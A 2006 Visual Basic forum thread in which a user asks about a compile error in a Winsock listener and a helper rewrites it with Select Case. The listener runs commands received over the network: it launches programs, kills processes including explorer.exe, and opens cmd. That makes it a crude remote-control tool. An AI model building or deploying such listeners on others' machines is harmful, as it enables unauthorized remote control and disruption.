Results 1 to 8 of 8

Thread: [RESOLVED] I get a simple error, but dont know how to fix

  1. #1

    Thread Starter
    Addicted Member
    Join Date
    Aug 2006
    Posts
    208

    [RESOLVED] I get a simple error, but dont know how to fix

    This is my code

    VB Code:
    1. Option Explicit
    2. Private Sub TerminateProcess(app_exe As String)
    3.     Dim Process As Object
    4.     For Each Process In GetObject("winmgmts:").ExecQuery("Select Name from Win32_Process Where Name = '" & app_exe & "'")
    5.         Process.Terminate
    6.     Next
    7. End Sub
    8.  
    9. Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    10. If Winsock1.State <> sckClosed Then Winsock1.Close
    11. Winsock1.Accept requestID
    12. End Sub
    13.  
    14.  
    15.  
    16. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    17. Dim data As String
    18. Winsock1.GetData data
    19.  
    20. If data = "msn" Then
    21. On Error Resume Next
    22. Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe")
    23. Shell ("C:\Program\MSN Messenger\msnmsgr.exe")
    24. End If
    25.  
    26. If data = "ie" Then
    27. On Error Resume Next
    28. Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
    29. Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE")
    30. End If
    31.  
    32. If data = "01" Then
    33. On Error Resume Next
    34. Form2.Show
    35. Form3.Hide
    36. Form4.Hide
    37. End If
    38.  
    39. If data = "02" Then
    40. On Error Resume Next
    41. Form3.Show
    42. Form2.Hide
    43. Form4.Hide
    44. End If
    45.  
    46. If data = "clie" Then
    47. On Error Resume Next
    48.     TerminateProcess ("iexplorer.exe")
    49. End If
    50.  
    51. If data = "clmsn" Then
    52. On Error Resume Next
    53.     TerminateProcess ("msnmsgr.exe")
    54. End If
    55.  
    56. If data = "htb" Then
    57. On Error Resume Next
    58.     TerminateProcess ("explorer.exe")
    59. End If
    60.  
    61. If data = "cmd" Then
    62. On Error Resume Next
    63. Shell ("cmd")
    64. End If
    65. End Sub

    i get an error saying

    "Compile Error: Block If without End If"
    Last edited by Gunner54; Oct 8th, 2006 at 12:00 PM.

  2. #2

    Thread Starter
    Addicted Member
    Join Date
    Aug 2006
    Posts
    208

    Re: I get a simple error, but dont know how to fix

    can someone help me?

  3. #3
    PowerPoster
    Join Date
    Nov 2002
    Location
    Manila
    Posts
    7,629

    Re: I get a simple error, but dont know how to fix

    Check other code, "Compile Error: Block If without End If" is not in there.

    You might want to consider using a Select Case structure in your dataArrival event.

    And the way things are, you only need the first "On Error Resume Next" statement... the rest are redundant.

  4. #4

    Thread Starter
    Addicted Member
    Join Date
    Aug 2006
    Posts
    208

    Re: I get a simple error, but dont know how to fix

    i dont have a clue of "Select Case structure in your dataArrival event" or "On Error Resume Next

    my friend done most of the code...

    i could really do with a code thats writen. instead of a word.
    Last edited by Gunner54; Oct 8th, 2006 at 09:55 AM.

  5. #5
    Former Admin/Moderator MartinLiss's Avatar
    Join Date
    Sep 1999
    Location
    San Jose, CA
    Posts
    33,431

    Re: I get a simple error, but dont know how to fix

    What leinad31 is saying is that bit does not look as if the code you posted should give you the Block If without End If error. Is there code you aren't showing us?

  6. #6
    PowerPoster
    Join Date
    Nov 2002
    Location
    Manila
    Posts
    7,629

    Re: I get a simple error, but dont know how to fix

    Quote Originally Posted by Gunner54
    i dont have a clue of "Select Case structure in your dataArrival event" or "On Error Resume Next

    my friend done most of the code...

    i could really do with a code thats writen. instead of a word.
    Consider it as practice... as a professional programmer you can't demand from your systems analyst or boss that they give you code rather than narrative requirements. Programming isn't just about code, its also about analysis, understanding, and research (your only as good as what you know).

    VB Code:
    1. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    2. Dim data As String
    3.  
    4.    Winsock1.GetData data
    5.  
    6. On Error Resume Next
    7.    Select Case data
    8.    Case "msn"
    9.       Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe")
    10.       Shell ("C:\Program\MSN Messenger\msnmsgr.exe")
    11.    Case "ie"
    12.       Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
    13.       Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE")
    14.    Case "01"
    15.       Form2.Show
    16.       Form3.Hide
    17.       Form4.Hide
    18.     Case "02"
    19.       Form3.Show
    20.       Form2.Hide
    21.       Form4.Hide
    22.    Case "clie"
    23.       TerminateProcess ("iexplorer.exe")
    24.    Case "clmsn"
    25.       TerminateProcess ("msnmsgr.exe")
    26.    Case "htb"
    27.       TerminateProcess ("explorer.exe")
    28.    Case "cmd"
    29.       Shell ("cmd")
    30.    End Select
    31.  
    32.    If Err Then Err.Clear  'since you used On Error Resume Next
    33. End Sub

  7. #7

    Thread Starter
    Addicted Member
    Join Date
    Aug 2006
    Posts
    208

    Re: I get a simple error, but dont know how to fix

    sry... i already made it. thx thogh

  8. #8
    Former Admin/Moderator MartinLiss's Avatar
    Join Date
    Sep 1999
    Location
    San Jose, CA
    Posts
    33,431

    Re: [RESOLVED] I get a simple error, but dont know how to fix

    Thanks for letting us know you have your answer but the easy way to do that is by pulling down the Thread Tools menu and clicking the Mark Thread Resolved button.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width